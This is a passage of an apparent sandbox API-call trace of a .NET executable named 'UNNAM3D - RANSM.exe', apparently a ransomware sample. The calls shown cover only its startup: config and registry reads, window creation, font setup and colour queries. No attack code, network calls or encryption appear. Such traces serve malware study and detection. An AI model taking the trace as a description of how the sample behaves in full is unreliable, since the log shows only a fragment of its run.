GetModuleInformation (in: hProcess=0xe4, hModule=0x76180000, lpmodinfo=0x25daea4, cb=0xc | out: lpmodinfo=0x25daea4*(lpBaseOfDll=0x76180000, SizeOfImage=0x6000, EntryPoint=0x76181460)) returned 1 [0034.913] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.913] GetModuleBaseNameW (in: hProcess=0xe4, hModule=0x76180000, lpBaseName=0x9af208, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0034.913] CoTaskMemFree (pv=0x9af208) [0034.914] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.914] GetModuleFileNameExW (in: hProcess=0xe4, hModule=0x76180000, lpFilename=0x9af208, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll")) returned 0x1d [0034.914] CoTaskMemFree (pv=0x9af208) [0034.914] CloseHandle (hObject=0xe4) returned 1 [0034.996] CoTaskMemAlloc (cb=0x1) returned 0x9a8858 [0035.039] VirtualAlloc (lpAddress=0x0, dwSize=0x1e, flAllocationType=0x1000, flProtect=0x40) returned 0x49d0000 [0035.040] VirtualProtect (in: lpAddress=0x743a1410, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x73e3f0 | out: lpflOldProtect=0x73e3f0*=0x2) returned 1 [0035.084] VirtualProtect (in: lpAddress=0x743a1410, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x73e3f0 | out: lpflOldProtect=0x73e3f0*=0x40) returned 1 [0035.781] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Windows.Forms\\v4.0_4.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll", nBufferLength=0x105, lpBuffer=0x73e724, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Windows.Forms\\v4.0_4.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll", lpFilePart=0x0) returned 0x77 [0035.799] IsAppThemed () returned 0x1 [0035.802] CoTaskMemAlloc (cb=0xf0) returned 0x9acea8 [0035.802] CreateActCtxA (pActCtx=0x73ec74) returned 0x9af7f4 [0035.865] CoTaskMemFree (pv=0x9acea8) [0035.870] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLNAME") returned 0xc151 [0035.870] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLTYPE") returned 0xc16f [0035.875] CoTaskMemAlloc (cb=0x2a) returned 0x9b86a0 [0036.369] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\UNNAM3D - RANSM.exe.config", nBufferLength=0x105, lpBuffer=0x73e58c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\UNNAM3D - RANSM.exe.config", lpFilePart=0x0) returned 0x32 [0036.602] GetCurrentProcess () returned 0xffffffff [0036.602] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x73e8f4 | out: TokenHandle=0x73e8f4*=0x2cc) returned 1 [0036.605] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", nBufferLength=0x105, lpBuffer=0x73e380, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpFilePart=0x0) returned 0x2e [0036.609] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x73e8ec | out: lpFileInformation=0x73e8ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56a29ff, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97df7583, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97df7583, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x8c8f)) returned 1 [0036.610] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x73e34c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x43 [0036.611] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x73e8f4 | out: lpFileInformation=0x73e8f4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56a29ff, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97df7583, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97df7583, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x8c8f)) returned 1 [0036.611] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x73e2e8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x43 [0036.611] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x73e82c) returned 1 [0036.612] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xe4 [0036.612] GetFileType (hFile=0xe4) returned 0x1 [0036.612] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x73e828) returned 1 [0036.612] GetFileType (hFile=0xe4) returned 0x1 [0036.632] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\XML", ulOptions=0x0, samDesired=0x20019, phkResult=0x73e878 | out: phkResult=0x73e878*=0x0) returned 0x2 [0036.632] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\XML", ulOptions=0x0, samDesired=0x20019, phkResult=0x73e878 | out: phkResult=0x73e878*=0x0) returned 0x2 [0036.633] GetFileSize (in: hFile=0xe4, lpFileSizeHigh=0x73e8e8 | out: lpFileSizeHigh=0x73e8e8*=0x0) returned 0x8c8f [0036.633] ReadFile (in: hFile=0xe4, lpBuffer=0x25e385c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x73e8a4, lpOverlapped=0x0 | out: lpBuffer=0x25e385c*, lpNumberOfBytesRead=0x73e8a4*=0x1000, lpOverlapped=0x0) returned 1 [0036.647] ReadFile (in: hFile=0xe4, lpBuffer=0x25e385c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x73e750, lpOverlapped=0x0 | out: lpBuffer=0x25e385c*, lpNumberOfBytesRead=0x73e750*=0x1000, lpOverlapped=0x0) returned 1 [0036.648] ReadFile (in: hFile=0xe4, lpBuffer=0x25e385c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x73e604, lpOverlapped=0x0 | out: lpBuffer=0x25e385c*, lpNumberOfBytesRead=0x73e604*=0x1000, lpOverlapped=0x0) returned 1 [0036.649] ReadFile (in: hFile=0xe4, lpBuffer=0x25e385c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x73e604, lpOverlapped=0x0 | out: lpBuffer=0x25e385c*, lpNumberOfBytesRead=0x73e604*=0x1000, lpOverlapped=0x0) returned 1 [0036.649] ReadFile (in: hFile=0xe4, lpBuffer=0x25e385c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x73e604, lpOverlapped=0x0 | out: lpBuffer=0x25e385c*, lpNumberOfBytesRead=0x73e604*=0x1000, lpOverlapped=0x0) returned 1 [0036.650] ReadFile (in: hFile=0xe4, lpBuffer=0x25e385c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x73e53c, lpOverlapped=0x0 | out: lpBuffer=0x25e385c*, lpNumberOfBytesRead=0x73e53c*=0x1000, lpOverlapped=0x0) returned 1 [0036.654] ReadFile (in: hFile=0xe4, lpBuffer=0x25e385c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x73e6c0, lpOverlapped=0x0 | out: lpBuffer=0x25e385c*, lpNumberOfBytesRead=0x73e6c0*=0x1000, lpOverlapped=0x0) returned 1 [0036.656] ReadFile (in: hFile=0xe4, lpBuffer=0x25e385c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x73e5cc, lpOverlapped=0x0 | out: lpBuffer=0x25e385c*, lpNumberOfBytesRead=0x73e5cc*=0x1000, lpOverlapped=0x0) returned 1 [0036.656] ReadFile (in: hFile=0xe4, lpBuffer=0x25e385c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x73e5cc, lpOverlapped=0x0 | out: lpBuffer=0x25e385c*, lpNumberOfBytesRead=0x73e5cc*=0xc8f, lpOverlapped=0x0) returned 1 [0036.656] ReadFile (in: hFile=0xe4, lpBuffer=0x25e385c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x73e690, lpOverlapped=0x0 | out: lpBuffer=0x25e385c*, lpNumberOfBytesRead=0x73e690*=0x0, lpOverlapped=0x0) returned 1 [0036.656] CloseHandle (hObject=0xe4) returned 1 [0036.657] GetCurrentProcess () returned 0xffffffff [0036.657] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x73ea3c | out: TokenHandle=0x73ea3c*=0xe4) returned 1 [0036.658] GetCurrentProcess () returned 0xffffffff [0036.658] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x73ea3c | out: TokenHandle=0x73ea3c*=0x2d4) returned 1 [0036.658] GetCurrentProcess () returned 0xffffffff [0036.658] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x73e8f4 | out: TokenHandle=0x73e8f4*=0x2d8) returned 1 [0036.658] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\UNNAM3D - RANSM.exe.config" (normalized: "c:\\users\\fd1hvy\\desktop\\unnam3d - ransm.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x73e8ec | out: lpFileInformation=0x73e8ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0036.659] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\UNNAM3D - RANSM.exe.config", nBufferLength=0x105, lpBuffer=0x73e34c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\UNNAM3D - RANSM.exe.config", lpFilePart=0x0) returned 0x32 [0036.659] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\UNNAM3D - RANSM.exe.config" (normalized: "c:\\users\\fd1hvy\\desktop\\unnam3d - ransm.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x73e8f4 | out: lpFileInformation=0x73e8f4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0036.659] GetCurrentProcess () returned 0xffffffff [0036.659] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x73ea3c | out: TokenHandle=0x73ea3c*=0x2dc) returned 1 [0036.659] GetCurrentProcess () returned 0xffffffff [0036.659] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x73ea3c | out: TokenHandle=0x73ea3c*=0x2e0) returned 1 [0036.674] GetCurrentProcess () returned 0xffffffff [0036.674] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x73e89c | out: TokenHandle=0x73e89c*=0x2e4) returned 1 [0036.678] GetCurrentProcess () returned 0xffffffff [0036.678] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x73e8ac | out: TokenHandle=0x73e8ac*=0x2e8) returned 1 [0036.686] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x0 [0037.134] LoadLibraryW (lpLibFileName="comctl32.dll") returned 0x742a0000 [0037.164] AdjustWindowRectEx (in: lpRect=0x73eccc, dwStyle=0x56cf0000, bMenu=0, dwExStyle=0x50001 | out: lpRect=0x73eccc) returned 1 [0037.167] GetCurrentProcess () returned 0xffffffff [0037.167] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xfffffffe, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x73ebe0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x73ebe0*=0x2f0) returned 1 [0037.184] GetCurrentActCtx (in: lphActCtx=0x73eb40 | out: lphActCtx=0x73eb40*=0x0) returned 1 [0037.184] ActivateActCtx (in: hActCtx=0x9af7f4, lpCookie=0x73eb50 | out: hActCtx=0x9af7f4, lpCookie=0x73eb50) returned 1 [0037.184] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x0 [0037.793] LoadLibraryW (lpLibFileName="comctl32.dll") returned 0x6fbc0000 [0037.804] GetModuleHandleW (lpModuleName="user32.dll") returned 0x74b70000 [0037.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DefWindowProcW", cchWideChar=14, lpMultiByteStr=0x73ea04, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefWindowProcW÷p'\x9d\x96Kðù¨sÈîs", lpUsedDefaultChar=0x0) returned 14 [0037.804] GetProcAddress (hModule=0x74b70000, lpProcName="DefWindowProcW") returned 0x74600140 [0037.805] GetStockObject (i=5) returned 0x900015 [0037.808] GetModuleHandleW (lpModuleName=0x0) returned 0xd0000 [0037.810] CoTaskMemAlloc (cb=0x5a) returned 0x9b4790 [0037.810] RegisterClassW (lpWndClass=0x73e9f4) returned 0xc16e [0037.811] CoTaskMemFree (pv=0x9b4790) [0037.811] GetModuleHandleW (lpModuleName=0x0) returned 0xd0000 [0037.811] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r9_ad1", lpWindowName=0x0, dwStyle=0x2010000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0xfffffffd, hMenu=0x0, hInstance=0xd0000, lpParam=0x0) returned 0x80116 [0037.812] SetWindowLongW (hWnd=0x80116, nIndex=-4, dwNewLong=1952448832) returned 78513814 [0037.813] GetWindowLongW (hWnd=0x80116, nIndex=-4) returned 1952448832 [0037.814] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\.NETFramework", ulOptions=0x0, samDesired=0x20019, phkResult=0x73e210 | out: phkResult=0x73e210*=0x308) returned 0x0 [0037.814] RegQueryValueExW (in: hKey=0x308, lpValueName="DbgJITDebugLaunchSetting", lpReserved=0x0, lpType=0x73e230, lpData=0x0, lpcbData=0x73e22c*=0x0 | out: lpType=0x73e230*=0x0, lpData=0x0, lpcbData=0x73e22c*=0x0) returned 0x2 [0037.814] RegQueryValueExW (in: hKey=0x308, lpValueName="DbgManagedDebugger", lpReserved=0x0, lpType=0x73e230, lpData=0x0, lpcbData=0x73e22c*=0x0 | out: lpType=0x73e230*=0x0, lpData=0x0, lpcbData=0x73e22c*=0x0) returned 0x2 [0037.814] RegCloseKey (hKey=0x308) returned 0x0 [0037.815] SetWindowLongW (hWnd=0x80116, nIndex=-4, dwNewLong=78513854) returned 1952448832 [0037.815] GetWindowLongW (hWnd=0x80116, nIndex=-4) returned 78513854 [0037.815] GetWindowLongW (hWnd=0x80116, nIndex=-16) returned 113311744 [0037.816] RegisterClipboardFormatW (lpszFormat="WinFormsMouseEnter") returned 0xc171 [0037.817] RegisterClipboardFormatW (lpszFormat="WinFormsUnSubclass") returned 0xc172 [0037.817] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x80116, Msg=0x81, wParam=0x0, lParam=0x73e560) returned 0x1 [0037.818] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x80116, Msg=0x83, wParam=0x0, lParam=0x73e54c) returned 0x0 [0037.960] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x80116, Msg=0x1, wParam=0x0, lParam=0x73e560) returned 0x0 [0037.960] GetClientRect (in: hWnd=0x80116, lpRect=0x73e248 | out: lpRect=0x73e248) returned 1 [0037.960] GetWindowRect (in: hWnd=0x80116, lpRect=0x73e248 | out: lpRect=0x73e248) returned 1 [0037.961] GetParent (hWnd=0x80116) returned 0x0 [0037.962] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10b80001) returned 1 [0037.977] CoTaskMemAlloc (cb=0x6ce) returned 0x9c3790 [0038.449] BCryptGetFipsAlgorithmMode (in: pfEnabled=0x73e53c | out: pfEnabled=0x73e53c) returned 0x0 [0038.504] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\UNNAM3D - RANSM.exe", nBufferLength=0x105, lpBuffer=0x73df34, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\UNNAM3D - RANSM.exe", lpFilePart=0x0) returned 0x2b [0038.504] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\UNNAM3D - RANSM.exe", nBufferLength=0x105, lpBuffer=0x73dfac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\UNNAM3D - RANSM.exe", lpFilePart=0x0) returned 0x2b [0038.505] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x73e460) returned 1 [0038.505] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\UNNAM3D - RANSM.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\unnam3d - ransm.exe"), fInfoLevelId=0x0, lpFileInformation=0x73e4dc | out: lpFileInformation=0x73e4dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76226380, ftCreationTime.dwHighDateTime=0x1d4e806, ftLastAccessTime.dwLowDateTime=0x76226380, ftLastAccessTime.dwHighDateTime=0x1d4e806, ftLastWriteTime.dwLowDateTime=0x7458a000, ftLastWriteTime.dwHighDateTime=0x1d4e806, nFileSizeHigh=0x0, nFileSizeLow=0x2be400)) returned 1 [0038.505] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x73e45c) returned 1 [0038.505] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\UNNAM3D - RANSM.exe", nBufferLength=0x105, lpBuffer=0x73df34, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\UNNAM3D - RANSM.exe", lpFilePart=0x0) returned 0x2b [0038.512] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\UNNAM3D - RANSM.exe", nBufferLength=0x105, lpBuffer=0x73df38, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\UNNAM3D - RANSM.exe", lpFilePart=0x0) returned 0x2b [0038.512] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x73e47c) returned 1 [0038.512] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\UNNAM3D - RANSM.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\unnam3d - ransm.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x32c [0038.512] GetFileType (hFile=0x32c) returned 0x1 [0038.512] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x73e478) returned 1 [0038.513] GetFileType (hFile=0x32c) returned 0x1 [0038.513] GetFileSize (in: hFile=0x32c, lpFileSizeHigh=0x73e560 | out: lpFileSizeHigh=0x73e560*=0x0) returned 0x2be400 [0038.518] ReadFile (in: hFile=0x32c, lpBuffer=0x35494c8, nNumberOfBytesToRead=0x2be400, lpNumberOfBytesRead=0x73e50c, lpOverlapped=0x0 | out: lpBuffer=0x35494c8*, lpNumberOfBytesRead=0x73e50c*=0x2be400, lpOverlapped=0x0) returned 1 [0038.605] CloseHandle (hObject=0x32c) returned 1 [0038.611] EtwEventRegister (in: ProviderId=0x26048c8, EnableCallback=0x4ae06e6, CallbackContext=0x0, RegHandle=0x26048a4 | out: RegHandle=0x26048a4) returned 0x0 [0038.615] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x742a0000 [0038.616] AdjustWindowRectEx (in: lpRect=0x73ea50, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x73ea50) returned 1 [0038.616] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x742a0000 [0038.616] AdjustWindowRectEx (in: lpRect=0x73ea50, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x73ea50) returned 1 [0038.616] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x742a0000 [0038.616] AdjustWindowRectEx (in: lpRect=0x73ea50, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x73ea50) returned 1 [0038.617] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x742a0000 [0038.617] AdjustWindowRectEx (in: lpRect=0x73ea50, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x73ea50) returned 1 [0038.617] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x742a0000 [0038.617] AdjustWindowRectEx (in: lpRect=0x73ea50, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x73ea50) returned 1 [0038.617] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x742a0000 [0038.617] AdjustWindowRectEx (in: lpRect=0x73ea50, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x73ea50) returned 1 [0038.619] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x742a0000 [0038.619] AdjustWindowRectEx (in: lpRect=0x73ea54, dwStyle=0x56010000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x73ea54) returned 1 [0038.619] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x742a0000 [0038.619] AdjustWindowRectEx (in: lpRect=0x73ea54, dwStyle=0x56010000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x73ea54) returned 1 [0038.799] GdiplusStartup (in: token=0x8e7ce8, input=0x73df28, output=0x73df78 | out: token=0x8e7ce8, output=0x73df78) returned 0x0 [0038.815] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x73ea2c) returned 0x0 [0039.090] GdipCreateFont (fontFamily=0x4b69010, emSize=0x417c0000, style=1, unit=0x3, font=0x2606828) returned 0x0 [0039.094] GdipGetFontSize (font=0x4b604c0, size=0x260682c) returned 0x0 [0039.096] GetSystemDefaultLCID () returned 0x409 [0039.096] GetStockObject (i=17) returned 0xa01c1 [0039.097] GetObjectW (in: h=0xa01c1, c=92, pv=0x73e8d4 | out: pv=0x73e8d4) returned 92 [0039.098] GetDC (hWnd=0x0) returned 0x60100ce [0039.101] CoTaskMemAlloc (cb=0x5c) returned 0x9b4790 [0039.101] GdipCreateFontFromLogfontW (hdc=0x60100ce, logfont=0x9b4790, font=0x73e99c) returned 0x0 [0039.169] CoTaskMemFree (pv=0x9b4790) [0039.169] CoTaskMemAlloc (cb=0x5c) returned 0x9b4790 [0039.169] CoTaskMemFree (pv=0x9b4790) [0039.170] CoTaskMemAlloc (cb=0x5c) returned 0x9b4790 [0039.170] CoTaskMemFree (pv=0x9b4790) [0039.170] GdipGetFontUnit (font=0x4b6ef38, unit=0x73e964) returned 0x0 [0039.170] GdipGetFontSize (font=0x4b6ef38, size=0x73e968) returned 0x0 [0039.170] GdipGetFontStyle (font=0x4b6ef38, style=0x73e960) returned 0x0 [0039.170] GdipGetFamily (font=0x4b6ef38, family=0x73e95c) returned 0x0 [0039.170] GdipGetFontSize (font=0x4b6ef38, size=0x2606e94) returned 0x0 [0039.171] ReleaseDC (hWnd=0x0, hDC=0x60100ce) returned 1 [0039.171] GetDC (hWnd=0x0) returned 0x60100ce [0039.171] GdipCreateFromHDC (hdc=0x60100ce, graphics=0x73e978) returned 0x0 [0039.175] GdipGetDpiY (graphics=0x5f3acc0, dpi=0x2606f70) returned 0x0 [0039.175] GdipGetFontHeight (font=0x4b6ef38, graphics=0x5f3acc0, height=0x73e970) returned 0x0 [0039.175] GdipGetEmHeight (family=0x4b69010, style=0, EmHeight=0x73e978) returned 0x0 [0039.176] GdipGetLineSpacing (family=0x4b69010, style=0, LineSpacing=0x73e978) returned 0x0 [0039.176] GdipDeleteGraphics (graphics=0x5f3acc0) returned 0x0 [0039.176] ReleaseDC (hWnd=0x0, hDC=0x60100ce) returned 1 [0039.176] GdipCreateFont (fontFamily=0x4b69010, emSize=0x41040000, style=0, unit=0x3, font=0x2606f8c) returned 0x0 [0039.176] GdipGetFontSize (font=0x5f3a998, size=0x2606f90) returned 0x0 [0039.177] GdipDeleteFont (font=0x4b6ef38) returned 0x0 [0039.182] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x742a0000 [0039.182] AdjustWindowRectEx (in: lpRect=0x73e9b0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x73e9b0) returned 1 [0039.188] GetUserObjectInformationA (in: hObj=0x13c, nIndex=1, pvInfo=0x2607728, nLength=0xc, lpnLengthNeeded=0x73e88c | out: pvInfo=0x2607728, lpnLengthNeeded=0x73e88c) returned 1 [0039.190] SetConsoleCtrlHandler (HandlerRoutine=0x4ae070e, Add=1) returned 1 [0039.190] GetModuleHandleW (lpModuleName=0x0) returned 0xd0000 [0039.191] GetModuleHandleW (lpModuleName=0x0) returned 0xd0000 [0039.191] GetClassInfoW (in: hInstance=0xd0000, lpClassName=".NET-BroadcastEventWindow.4.0.0.0.141b42a.0", lpWndClass=0x260778c | out: lpWndClass=0x260778c) returned 0 [0039.193] CoTaskMemAlloc (cb=0x58) returned 0x99c478 [0039.193] RegisterClassW (lpWndClass=0x73e7dc) returned 0xc174 [0039.193] CoTaskMemFree (pv=0x99c478) [0039.194] CreateWindowExW (dwExStyle=0x0, lpClassName=".NET-BroadcastEventWindow.4.0.0.0.141b42a.0", lpWindowName=".NET-BroadcastEventWindow.4.0.0.0.141b42a.0", dwStyle=0x80000000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0xd0000, lpParam=0x0) returned 0x60044 [0039.201] NtdllDefWindowProc_W (hWnd=0x60044, Msg=0x83, wParam=0x0, lParam=0x73e304) returned 0x0 [0039.201] NtdllDefWindowProc_W (hWnd=0x60044, Msg=0x1, wParam=0x0, lParam=0x73e318) returned 0x0 [0039.201] NtdllDefWindowProc_W (hWnd=0x60044, Msg=0x5, wParam=0x0, lParam=0x0) returned 0x0 [0039.202] NtdllDefWindowProc_W (hWnd=0x60044, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0039.205] GetSysColor (nIndex=10) returned 0xb4b4b4 [0039.205] GetSysColor (nIndex=2) returned 0xd1b499 [0039.205] GetSysColor (nIndex=9) returned 0x0 [0039.205] GetSysColor (nIndex=12) returned 0xababab [0039.205] GetSysColor (nIndex=15) returned 0xf0f0f0 [0039.205] GetSysColor (nIndex=20) returned 0xffffff [0039.205] GetSysColor (nIndex=16) returned 0xa0a0a0 [0039.205] GetSysColor (nIndex=15) returned 0xf0f0f0 [0039.205] GetSysColor (nIndex=16) returned 0xa0a0a0 [0039.205] GetSysColor (nIndex=21) returned 0x696969 [0039.205] GetSysColor (nIndex=22) returned 0xe3e3e3 [0039.205] GetSysColor (nIndex=20) returned 0xffffff [0039.205] GetSysColor (nIndex=18) returned 0x0 [0039.205] GetSysColor (nIndex=1) returned 0x0 [0039.205] GetSysColor (nIndex=27) returned 0xead1b9 [0039.206] GetSysColor (nIndex=28) returned 0xf2e4d7 [0039.206] GetSysColor (nIndex=17) returned 0x6d6d6d [0039.206] GetSysColor (nIndex=13) returned 0xd77800 [0039.206] GetSysColor (nIndex=14) returned 0xffffff [0039.206] GetSysColor (nIndex=26) returned 0xcc6600 [0039.206] GetSysColor (nIndex=11) returned 0xfcf7f4 [0039.206] GetSysColor (nIndex=3) returned 0xdbcdbf [0039.206] GetSysColor (nIndex=19) returned 0x0 [0039.206] GetSysColor (nIndex=24) returned 0xe1ffff [0039.206] GetSysColor (nIndex=23) returned 0x0 [0039.206] GetSysColor (nIndex=4) returned 0xf0f0f0 [0039.206] GetSysColor (nIndex=30) returned 0xf0f0f0 [0039.206] GetSysColor 